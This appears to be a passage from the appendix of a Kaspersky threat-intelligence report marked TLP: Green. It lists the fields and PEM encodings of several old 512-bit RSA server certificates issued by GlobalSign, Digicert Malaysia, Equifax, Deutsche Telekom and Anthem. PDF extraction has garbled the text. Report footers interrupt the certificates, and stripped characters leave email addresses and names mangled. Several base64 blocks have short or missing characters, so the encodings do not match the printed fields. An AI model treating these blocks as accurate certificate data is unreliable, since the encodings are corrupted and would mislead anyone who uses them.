OUI.T.
Services, CNstfmail.ccn.ac.uk Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:c6:5c:e9:3d:a8:bc:74:31:fd:9b:20:34:30:cd: dc:50:6a:58:9b:41:6a:1e:04:9f:75:c2:90:1f:d8: a7:b3:3a:8f:5a:29:f8:2d:b6:91:b0:71:9a:ab:4c: a1:f6:12:8d:9b:01:fa:27:cd:f4:ed:08:50:48:3a: 29:3b:16:94:4f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical 36 TLP: Green For any inquiries, please contact intelreportskaspersky.com Digital Signature, Key Encipherment X509v3 Authority Key Identifier: keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A:5 B:76:77:50:E1 X509v3 Subject Key Identifier: BE:7E:E3:53:BD:00:32:5E:3C:78:2B:02:B2:BF:52:A2:B1: E5:F2:F8 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/educational.crl Authority Information Access: CA Issuers URI: http://secure.globalsign.net/cacert/educational.
crt Netscape Cert Type: SSL Client, SSL Server Signature Algorithm: sha1WithRSAEncryption 71:99:aa:c9:92:26:ee:32:2d:c0:95:f8:16:47:b7:d9:eb:2e: f1:93:d2:c3:3d:62:c1:9a:74:d2:2f:29:9c:08:a8:ca:52:6c: 42:c4:2b:a7:1c:96:17:af:3d:01:b5:b5:f1:70:d0:08:e1:fa: 63:e1:44:b2:61:66:3d:9c:5a:3f:3a:32:b0:47:31:3d:27:1d: 98:9c:d3:c3:c7:9f:73:55:8c:ff:d7:21:2d:76:d2:e7:df:8b: 9e:d3:ee:c5:5e:e7:6a:ba:7a:bb:7b:9e:38:00:54:ed:58:ee: 00:c1:45:8b:d4:63:25:be:22:98:a8:ef:f0:b3:f8:fb:15:32: e8:ae:da:27:e4:60:46:d6:75:78:50:1d:57:4d:06:e9:8c:b8: 43:f5:9a:58:cf:a1:f4:c7:c7:ec:4a:b0:8a:95:c7:6c:3b:50: 0a:45:74:f1:d6:02:e0:78:a7:f1:f1:55:6e:20:92:55:37:be: b6:57:76:37:ff:60:30:c3:9a:2c:0e:dd:d8:ef:2b:bf:1f:20: 9d:a5:21:93:94:9a:1e:58:74:b8:24:ce:a4:38:7b:1d:38:fd: f2:9f:21:c0:49:d1:94:3e:38:7e:63:0c:0b:c3:98:ea:56:b2: 90:92:dc:75:0d:06:0b:35:9c:94:d6:e1:be:79:05:d1:27:b3: 87:23:14:0a BEGIN CERTIFICATE MIIDlTCCAn2gAwIBAgILAQAAAAABHZGkblswDQYJKoZIhvcNAQEFBQAwXzELMAkG A1UEBhMCQkUxEzARBgNVBAoTCkN5YmVydHJ1c3QxFzAVBgNVBAsTDkVkdWNhdGlv bmFsIENBMSIwIAYDVQQDExlDeWJlcnRydXN0IEVkdWNhdGlvbmFsIENBMB4XDTA4 MTExMjE2NTk0OFoXDTExMTExMjE2NTk0OFowgYQxCzAJBgNVBAYTAkdCMRAwDgYD VQQIEwdOb3Jmb2xrMRAwDgYDVQQHEwdOb3J3aWNoMR0wGwYDVQQKExRDaXR5IENv bGxlZ2UgTm9yd2ljaDEWMBQGA1UECxMNSS5ULiBTZXJ2aWNlczEaMBgGA1UEAxMR 37 TLP: Green For any inquiries, please contact intelreportskaspersky.com c3RmbWFpbC5jY24uYWMudWswXDANBgkqhkiG9w0BAQEFAANLADBIAkEAxlzpPai8 dDH9myA0MM3cUGpYm0FqHgSfdcKQH9inszqPWin4LbaRsHGaq0yh9hKNmwH6J830 7QhQSDopOxaUTwIDAQABo4HzMIHwMA4GA1UdDwEB/wQEAwIFoDAfBgNVHSMEGDAW gBRlZaM91zsRowoHJTfJQkpbdndQ4TAdBgNVHQ4EFgQUvn7jU70AMl48eCsCsr9S orHl8vgwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nbG9iYWxzaWduLm5l dC9lZHVjYXRpb25hbC5jcmwwTwYIKwYBBQUHAQEEQzBBMD8GCCsGAQUFBzAChjNo dHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24ubmV0L2NhY2VydC9lZHVjYXRpb25hbC5j cnQwEQYJYIZIAYb4QgEBBAQDAgbAMA0GCSqGSIb3DQEBBQUAA4IBAQBxmarJkibu Mi3AlfgWR7fZ6y7xk9LDPWLBmnTSLymcCKjKUmxCxCunHJYXrz0BtbXxcNAI4fpj 4USyYWY9nFo/OjKwRzE9Jx2YnNPDx59zVYz/1yEtdtLn34ue07FXudqunq7e544 AFTtWO4AwUWL1GMlviKYqO/ws/j7FTLorton5GBG1nV4UB1XTQbpjLhD9ZpYz6H0 x8fsSrCKlcdsO1AKRXTx1gLgeKfx8VVuIJJVN762V3Y3/2Aww5osDt3Y7yu/HyCd pSGTlJoeWHS4JM6kOHsdOP3ynyHASdGUPjhYwwLw5jqVrKQktx1DQYLNZyU1uG eQXRJ7OHIxQK END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:71:6f:21:66 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 13 19:59:00 2009 GMT Not After : Feb 13 19:59:00 2011 GMT Subject: CNagreement.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa, OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: 38 TLP: Green For any inquiries, please contact intelreportskaspersky.com Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 60:dd:4f:65:17:a0:3d:47:d7:70:d7:96:17:41:1c:b0:89:38: 9c:7e:bd:74:21:90:60:b4:04:d0:8d:12:81:a2:d5:c1:89:92: 8a:5e:6a:ae:c9:df:0a:78:e9:70:7f:b9:9b:3e:08:ab:74:6b: ab:99:cb:9b:f4:1e:61:53:7f:13:3f:5b:26:ea:57:11:fa:d7: 3b:90:8c:59:23:d4:73:66:9e:aa:47:72:04:9a:bf:d8:29:aa: c1:4d:f3:32:e5:c3:26:8a:98:da:07:bf:b7:07:0e:1a:4e:a2: 13:51:c6:2c:11:7f:2c:40:c6:0f:a1:4d:51:6a:33:7b:9d:52: 9b:4b:f9:85:6a:13:44:81:2e:8f:a9:2d:ce:29:57:54:3b:d8: 1b:d8:20:5a:c1:46:16:93:3f:34:e3:4a:5a:e8:54:f2:9b:b6: 14:4a:10:9b:db:d4:33:7b:76:13:29:c9:f8:44:02:98:94:5d: 09:30:a0:a3:f0:94:1c:94:48:83:03:66:2c:40:92:b4:75:44: 35:f4:8d:be:21:51:47:86:cd:fb:67:55:6d:a6:17:df:79:3f: 31:31:63:97:fc:8d:1a:14:9c:7e:68:13:bc:1b:2b:54:c9:a7: e3:05:8a:f7:43:0a:06:6d:07:e3:f3:34:1d:92:be:30:9d:95: 05:8c:35:ba BEGIN CERTIFICATE MIIDRzCCAigAwIBAgILAQAAAAABH3FvIWYwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTMxOTU5MDBaFw0xMTAyMTMxOTU5MDBaMIG8MSAwHgYD VQQDExdhZ3JlZW1lbnQuc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkq hkiG9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNV BAcTBVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4x EzARBgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG 9w0BAQEFAANLADBIAkEApRNTFwL3zTNkfegnjm8q9uWO0ENtsQqENVkWIesYt4J LsVfecXVniabGprjmTviLkhnF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCG 39 TLP: Green For any inquiries, please contact intelreportskaspersky.com SAGGEIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RH ZiNPANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3 DQEBBQUAA4IBAQBg3U9lF6A9R9dw15YXQRywiTicfr10IZBgtATQjRKBotXBiZKK Xmquyd8KeOlwf7mbPgirdGurmcub9B5hU38TP1sm6lcRtc7kIxZI9RzZp6qR3IE mr/YKarBTfMy5cMmipjaB73Bw4aTqITUcYsEX8sQMYPoU1RajN7nVKbS/mFahNE gS6PqS3OKVdUO9gb2CBawUYWkz8040pa6FTym7YUShCb29Qze3YTKcn4RAKYlF0J MKCj8JQclEiDA2YsQJK0dUQ19I2IVFHhs37Z1VtphffeT8xMWOX/I0aFJxaBO8 GytUyafjBYr3QwoGbQfj8zQdkr4wnZUFjDW6 END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2786749 (0x2a85bd) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn.
Bhd.,
OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Mar 29 04:26:21 2010 GMT Not After : Mar 29 04:26:21 2012 GMT Subject: CMY, ODigicert Sdn.
Bhd.,
CNmcrs2.digicert.
com.my, LKuala Lumpur Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:c2:f6:81:3d:67:9c:8a:93:22:6f:c1:cf:a9:85: ec:d1:40:b6:79:ea:02:47:88:c2:bb:dd:59:97:49: f5:59:a8:be:0d:10:17:79:9b:0b:ee:a5:4c:7a:db: 73:d8:26:49:76:2b:4f:fc:4e:aa:1d:e1:57:22:d5: 0b:cd:d5:da:69 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 42:C0:71:88:BF:7B:00:93 X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: 40 TLP: Green For any inquiries, please contact intelreportskaspersky.com keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 39:ec:d4:6b:f2:e7:d4:47:5e:59:6e:bf:83:59:7b:32:17:cb: 4e:37:e7:2d:5c:44:ea:68:08:94:e9:47:33:cb:e2:cc:ad:c7: cc:28:f1:07:a7:9a:f6:f8:55:76:c4:31:72:98:e3:11:5b:aa: d5:d6:ff:99:52:69:61:48:91:31:df:ff:d3:39:f0:d1:94:29: 55:5b:6e:d1:d7:2d:da:7c:ef:6e:a4:10:fd:b4:22:4b:9e:41: 85:f6:63:b6:e7:10:5c:88:1e:04:20:36:48:22:f5:ba:a4:8c: 24:d3:81:78:c1:c1:d3:c9:8c:ba:a5:62:e6:e3:a8:e8:e4:21: d5:72 BEGIN CERTIFICATE MIICgzCCAeygAwIBAgIDKoW9MA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAwMzI5 MDQyNjIxWhcNMTIwMzI5MDQyNjIxWjBhMQswCQYDVQQGEwJNWTEbMBkGA1UEChMS RGlnaWNlcnQgU2RuLiBCaGQuMR4wHAYDVQQDExVtY3JzMi5kaWdpY2VydC5jb20u bXkxFTATBgNVBAcTDEt1YWxhIEx1bXB1cjBcMA0GCSqGSIb3DQEBAQUAA0sAMEgC QQDC9oE9Z5yKkyJvwcphezRQLZ56gJHiMK73VmXSfVZqL4NEBd5mwvupUx623PY Jkl2K0/8Tqod4Vci1QvN1dppAgMBAAGjgYowgYcwEQYDVR0OBAoECELAcYi/ewCT MEQGA1UdIAQ9MDswOQYFYINKAQEwMDAuBggrBgEFBQcCARYiaHR0cDovL3d3dy5k aWdpY2VydC5jb20ubXkvY3BzLmh0bTAfBgNVHSMEGDAWgBTGFpNOFhfsFq6MlHbz hm3FdG6EdzALBgNVHQ8EBAMCBPAwDQYJKoZIhvcNAQEFBQADgYEAOezUa/Ln1Ede WW6/g1l7MhfLTjfnLVxE6mgIlOlHM8vizK3HzCjxB6ea9vhVdsQxcpjjEVuq1db/ mVJpYUiRMd//0znw0ZQpVVtu0dct2nzvbqQQ/bQiS55BhfZjtucQXIgeBCA2SCL1 uqSMJNOBeMHB08mMuqVi5uOo6OQh1XI END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 21665 (0x54a1) Signature Algorithm: md5WithRSAEncryption Issuer: CUS, OEquifax Secure Inc., CNEquifax Secure eBusiness CA1 Validity 41 TLP: Green For any inquiries, please contact intelreportskaspersky.com Not Before: Jun 14 15:26:42 2006 GMT Not After : Jul 14 15:26:42 2008 GMT Subject: CUS, Owww.gccustomservices.com, OUbusinessprofile.geotrust.com/get.jsp?GT30320107, OUSee www.rapidssl.com/cps (c)05, OUDomain Control Validated RapidSSL(R), CNwww.gccustomservices.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:cb:1f:b0:21:9c:37:a2:39:75:02:b5:12:dc:bb: f5:7a:f7:93:65:0d:f8:6c:36:68:0a:06:19:49:77: da:68:9e:ea:eb:39:d4:16:49:6d:14:c0:c9:6f:53: c5:ec:a8:6b:60:ca:c3:a4:5b:3b:1a:93:1d:1f:3c: d8:26:d5:6e:23 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 CRL Distribution Points: Full Name: URI:http://crl.geotrust.com/crls/ebizca1.crl X509v3 Authority Key Identifier: keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6 A:47:7C:4C:A1 Signature Algorithm: md5WithRSAEncryption 99:a5:16:0b:3e:3d:d1:a4:36:dc:09:c5:22:12:d9:cf:c5:76: 89:4a:7b:27:be:2d:d6:53:2b:6b:a4:da:0b:f3:f5:bf:72:cc: 11:1c:5c:a1:a3:ef:78:83:4d:01:a6:a0:e6:d8:91:2c:6c:ce: 83:d8:be:fe:a1:14:c9:b4:ac:fc:be:8e:c3:75:1d:6a:6a:43: 5a:a5:1c:3b:eb:aa:f4:f3:36:bc:34:63:72:2a:d8:c5:97:b6: a3:aa:54:91:5e:3f:3c:48:36:3c:51:37:c0:55:28:f1:a4:8f: ea:df:e5:2f:b2:62:bd:33:20:6a:4a:57:66:00:89:21:c4:68: d5:e2 BEGIN CERTIFICATE MIIC3DCCAkWgAwIBAgICVKEwDQYJKoZIhvcNAQEEBQAwUzELMAkGA1UEBhMCVVMx HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXgg U2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4XDTA2MDYxNDE1MjY0MloXDTA4MDcxNDE1 42 TLP: Green For any inquiries, please contact intelreportskaspersky.com MjY0MlowgecxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExh3d3cuZ2NjdXN0b21zZXJ2 aWNlcy5jb20xODA2BgNVBAsTL2J1c2luZXNzcHJvZmlsZS5nZW90cnVzdC5jb20v Z2V0LmpzcD9HVDMwMzIwMTA3MScwJQYDVQQLEx5TZWUgd3d3LnJhcGlkc3NsLmNv bS9jcHMgKGMpMDUxLzAtBgNVBAsTJkRvbWFpbiBDb250cm9sIFZhbGlkYXRlZCAt IFJhcGlkU1NMKFIpMSEwHwYDVQQDExh3d3cuZ2NjdXN0b21zZXJ2aWNlcy5jb20w XDANBgkqhkiG9w0BAQEFAANLADBIAkEAyxwIZw3ojl1ArUS3Lv1eveTZQ34bDZo CgYZSXfaaJ7q6znUFkltFMDJb1PF7KhrYMrDpFs7GpMdHzzYJtVuIwIDAQABo24w bDAOBgNVHQ8BAf8EBAMCBPAwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5n ZW90cnVzdC5jb20vY3Jscy9lYml6Y2ExLmNybDAfBgNVHSMEGDAWgBRKeDJSEdtZ FjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQCZpRYLPj3RpDbcCcUiEtnP xXaJSnsnvi3WUytrpNoL8/W/cswRHFyho94g00BpqDm2JEsbM6D2L7oRTJtKz8 vo7DdR1qakNapRw766r08za8NGNyKtjFl7ajqlSRXj88SDY8UTfAVSjxpI/q3Uv smK9MyBqSldmAIkhxGjV4g END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 27455 (0x6b3f) Signature Algorithm: sha1WithRSAEncryption Issuer: CDE, OTSystems Enterprise Services GmbH, OUTrust Center Deutsche Telekom, CNDeutsche Telekom CA 5 Validity Not Before: Oct 20 06:55:03 2008 GMT Not After : Oct 25 06:55:03 2009 GMT Subject: OAIC GmbH, OUAIC Certificate Service C06, LSindelfingen, STBAW, CDE, CNwww.kuechentraum24.de Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:b7:92:e8:ac:bd:17:b8:20:35:53:82:2a:c4:c9: f8:b5:a5:c0:fc:c0:43:f9:c5:79:5c:43:f4:58:22: 6f:c4:db:c1:d2:a9:45:31:33:1e:da:73:da:7b:5a: ea:2e:80:eb:30:80:fc:58:1e:1e:89:b2:15:1b:fc: bc:f2:45:4d:ff Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: 43 TLP: Green For any inquiries, please contact intelreportskaspersky.com keyid:B3:F5:5F:A6:02:3C:23:10:5B:71:A1:7C:B3:A7:40:8 5:A8:85:26:B8 X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Subject Key Identifier: 80:B5:D5:2B:3F:F9:B6:18:91:23:AE:A9:27:5B:20:D4:9E: 02:E9:A7 X509v3 Certificate Policies: Policy: 1.3.6.1.4.1.7879.13.2 CPS: http://wwwca.telesec.de/Pub_Cert/ServPass/cps/ CPS_ServerPass_V34.pdf X509v3 CRL Distribution Points: Full Name: URI:http://wwwca.telesec.de/cgibin/ Pub_Cert/ServPass/DwnloadCRL.crl?issuer_ dnDeutsch e_Telekom_CA_5 Full Name: URI:ldap://ldapserverpass.
telesec.de/cnDeutsche20Telekom20 CA205,ouTrust20Center20Deutsche20 Telekom,oTSystems20Enterprise20Services20 GmbH,cde?certificateRevocationlist?ba- se?certificateRevocationlist X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: DNS:www.kuechentraum24.de Signature Algorithm: sha1WithRSAEncryption b6:bc:98:3d:6c:44:95:50:c1:06:94:71:b1:05:2d:99:85:e3: db:6e:39:58:fd:f0:45:1c:0d:3c:b3:45:33:e9:66:fd:99:f0: b9:c0:98:8a:af:01:f5:b4:66:a7:7e:11:8a:6c:71:09:b9:fa: 5e:66:fc:3d:03:13:f1:c6:79:7c:bb:c5:fb:b7:e5:6b:c8:e3: 92:7e:7d:fb:87:e0:7d:5e:3e:64:6e:df:27:52:85:d3:9b:71: 93:84:2b:38:d1:4b:10:fc:23:e2:ae:7a:cb:a7:01:d1:c5:30: 05:76:2d:26:f5:9f:b9:5b:8c:e7:3b:3c:2d:fb:a9:10:61:40: 2e:da:45:75:c2:c3:d1:20:8d:da:f3:72:3f:5c:7d:bd:e1:86: d3:43:9d:81:71:84:09:2f:13:af:e1:cb:55:c2:0d:a4:3c:d3: f7:f2:eb:12:22:96:a7:5d:0b:ff:b3:9f:fa:f6:cf:a3:19:82: 93:dc:ab:a7:fe:76:10:ff:5e:32:00:d7:69:1a:a1:e6:2a:e2: 44 TLP: Green For any inquiries, please contact intelreportskaspersky.com 31:63:d6:14:f6:69:17:d4:bc:e2:68:c9:76:71:82:14:5f:a8: 88:f7:e2:3d:10:50:da:aa:97:96:08:f8:33:18:d2:1a:93:4f: 5c:58:fc:c0:05:e0:31:f2:59:cf:5e:2e:f5:6a:1f:6c:0f:fa: 34:0b:2c:c9 BEGIN CERTIFICATE MIIFDTCCA/WgAwIBAgICaz8wDQYJKoZIhvcNAQEFBQAwgYIxCzAJBgNVBAYTAkRF MSswKQYDVQQKEyJULVN5c3RlbXMgRW50ZXJwcmlzZSBTZXJ2aWNlcyBHbWJIMSYw JAYDVQQLEx1UcnVzdCBDZW50ZXIgRGV1dHNjaGUgVGVsZWtvbTEeMBwGA1UEAxMV RGV1dHNjaGUgVGVsZWtvbSBDQSA1MB4XDTA4MTAyMDA2NTUwM1oXDTA5MTAyNTA2 NTUwM1owgYsxETAPBgNVBAoTCEFJQyBHbWJIMSQwIgYDVQQLExtBSUMgQ2VydGlm aWNhdGUgU2VydmljZSBDMDYxFTATBgNVBAcTDFNpbmRlbGZpbmdlbjEMMAoGA1UE CBMDQkFXMQswCQYDVQQGEwJERTEeMBwGA1UEAxMVd3d3Lmt1ZWNoZW50cmF1bTI0 LmRlMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALeS6Ky9F7ggNVOCKsTJLWlwPzA Q/nFeVxD9Fgib8TbwdKpRTEzHtpz2nta6i6A6zCA/FgeHomyFRv8vPJFTf8CAwEA AaOCAkgwggJEMB8GA1UdIwQYMBaAFLP1X6YCPCMQW3GhfLOnQIWohSa4MA4GA1Ud DwEB/wQEAwIFoDAdBgNVHQ4EFgQUgLXVKz/5thiRI66pJ1sg1J4C6acwagYDVR0g BGMwYTBfBgkrBgEEAb1HDQIwUjBQBggrBgEFBQcCARZEaHR0cDovL3d3d2NhLnRl bGVzZWMuZGUvUHViX0NlcnQvU2VydlBhc3MvY3BzL0NQU19TZXJ2ZXJQYXNzX1Yz NC5wZGYwggFUBgNVHR8EggFLMIIBRzBnoGWgY4ZhaHR0cDovL3d3d2NhLnRlbGVz ZWMuZGUvY2dpLWJpbi9QdWJfQ2VydC9TZXJ2UGFzcy9Ed25sb2FkQ1JMLmNybD8t aXNzdWVyX2RuPURldXRzY2hlX1RlbGVrb21fQ0FfNTCB26CB2KCB1YaB0mxkYXA6 Ly9sZGFwLXNlcnZlcnBhc3MudGVsZXNlYy5kZS9jbj1EZXV0c2NoZSUyMFRlbGVr b20lMjBDQSUyMDUsb3U9VHJ1c3QlMjBDZW50ZXIlMjBEZXV0c2NoZSUyMFRlbGVr b20sbz1ULVN5c3RlbXMlMjBFbnRlcnByaXNlJTIwU2VydmljZXMlMjBHbWJILGM9 ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9ubGlzdD9iYXNlP2NlcnRpZmljYXRlUmV2 b2NhdGlvbmxpc3Q9KjAMBgNVHRMBAf8EAjAAMCAGA1UdEQQZMBeCFXd3dy5rdWVj aGVudHJhdW0yNC5kZTANBgkqhkiG9w0BAQUFAAOCAQEAtryYPWxElVDBBpRxsQUt mYXj2245WP3wRRwNPLNFMlm/ZnwucCYiq8B9bRmp34RimxxCbn6Xmb8PQMT8cZ5 fLvF7fla8jjkn594fgfV4ZG7fJ1KF05txk4QrONFLEPwj4q56y6cB0cUwBXYt JvWfuVuM5zs8LfupEGFALtpFdcLD0SCN2vNyP1x9veGG00OdgXGECS8TrHLVcIN pDzT9/LrEiKWp10L/7OfvbPoxmCk9yrp/52EP9eMgDXaRqh5iriMWPWFPZpF9S8 4mjJdnGCFFoiPfiPRBQ2qqXlgj4MxjSGpNPXFj8wAXgMfJZz14u9WofbA/6NAss yQ END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 27585 (0x6bc1) 45 TLP: Green For any inquiries, please contact intelreportskaspersky.com Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OAnthem Inc, OUEcommerce, CNAnthem Inc Certificate Authority Validity Not Before: Jan 13 19:01:43 2010 GMT Not After : Jan 13 19:01:43 2011 GMT Subject: CUS, STIndiana, LIndianapolis, OAnthem Companies Inc, OUAIT, CNwww18.anthem.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a0:66:16:2a:3f:32:86:a5:e7:75:1a:3d:02:0a: 4c:04:ed:af:8b:92:e0:70:8f:54:64:c7:4d:18:ee: 51:97:2f:00:39:44:fc:6f:f6:63:9c:65:47:64:7b: 73:43:4a:85:2b:db:f6:f1:79:02:50:73:05:15:73: f8:64:0d:b4:b7 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: email:DLAITMiddlewareanthem.com X509v3 Key Usage: critical Key Encipherment X509v3 Authority Key Identifier: keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E 0:97:A2:AA:AC DirName:/CUS/OGTE Corporation/OUGTE CyberTrust Solutions, Inc./CNGTE CyberTrust Global Root serial:07:27:16:11 X509v3 Subject Key Identifier: 06:EC:C3:75:99:AA:67:1E:13:4A:B7:DD:83:8A:5B:86:E3: 8E:F9:DD Signature Algorithm: sha1WithRSAEncryption 6c:0d:f7:59:c5:48:2d:c4:81:f5:be:8b:87:0b:fe:94:2d:3c: e4:c1:8f:ad:88:41:7f:9b:71:f6:56:8d:70:ba:ff:20:c7:6d: 8d:52:28:0a:8f:cc:04:82:45:72:1e:0e:9f:43:7d:af:da:f3: 07:34:b2:3a:97:5e:b4:44:31:4b:21:80:ec:ce:02:98:30:59: 46 TLP: Green For any inquiries, please contact intelreportskaspersky.com dc:87:73:90:99:d1:79:ca:d8:bd:aa:cd:34:65:e2:c1:1f:78: c2:da:69:60:3a:ca:0b:6b:6e:dd:80:6d:fd:20:09:85:88:2c: 9a:40:7c:fb:7d:78:ca:3e:c6:bf:81:3a:6a:09:e9:d9:c5:e8: 57:e9:94:a2:8a:f8:c8:1f:0e:84:9b:d1:77:5a:80:b6:c3:13: ca:86:0a:9b:78:a0:9f:83:84:06:eb:8d:d1:17:50:78:68:b0: bb:99:2a:50:f7:44:92:4e:3a:ca:63:48:aa:5e:30:1b:12:89: b7:1d:f3:a7:4a:02:cc:da:2f:fc:e6:47:57:07:b1:33:f0:bf: 7f:6e:26:59:62:ec:66:b8:1f:a6:09:65:7c:db:e4:c2:09:d2: 97:e7:15:e4:34:a8:d6:f3:d2:3a:f9:20:6a:a0:a1:af:93:1b: ea:8c:ea:a5:2a:26:da:a0:73:ed:ed:67:f6:53:a0:84:a1:0c: 31:ff:d8:08 BEGIN CERTIFICATE MIIDpDCCAoygAwIBAgICa8EwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMTAwMTEzMTkw MTQzWhcNMTEwMTEzMTkwMTQzWjBMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHSW5k aWFuYTEVMBMGA1UEBxMMSW5kaWFuYXBvbGlzMR0wGwYDVQQKExRBbnRoZW0gQ29t cGFuaWVzIEluYzEMMAoGA1UECxMDQUlUMRkwFwYDVQQDExB3d3cxOC5hbnRoZW0u Y29tMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKBmFio/Moal53UaPQIKTATtr4uS 4HCPVGTHTRjuUZcvADlE/G/2Y5xlR2R7c0NKhSvb9vF5AlBzBRVzGQNtLcCAwEA AaOCAQ8wggELMAwGA1UdEwEB/wQCMAAwJwYDVR0RBCAwHoEcREwtQUlULU1pZGRs ZXdhcmVAYW50aGVtLmNvbTAOBgNVHQ8BAf8EBAMCBSAwgaIGA1UdIwSBmjCBl4AU hrcPl2mtf36X2zLKEDT4JeiqqyheaR3MHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQK Ew9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0 aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3SC BAcnFhEwHQYDVR0OBBYEFAbsw3WZqmceE0q33YOKW4bjjvndMA0GCSqGSIb3DQEB BQUAA4IBAQBsDfdZxUgtxIH1vouHC/6ULTzkwYtiEF/m3H2Vo1wuv8gx22NUigK j8wEgkVyHg6fQ32v2vMHNLI6l160RDFLIYDszgKYMFnch3OQmdF5yti9qs00ZeLB H3jC2mlgOsoLa27dgG39IAmFiCyaQHz7fXjKPsa/gTpqCenZxehX6ZSiivjIHw6E m9F3WoC2wxPKhgqbeKCfg4QG643RF1B4aLC7mSpQ90SSTjrKY0iqXjAbEom3HfOn SgLM2i/85kdXB7Ez8L9/biZZYuxmuBmCWV82TCCdKX5xXkNKjW89I6SBqoKGv kxvqjOqlKibaoHPt7Wf2U6CEoQwx/9gI END CERTIFICATE 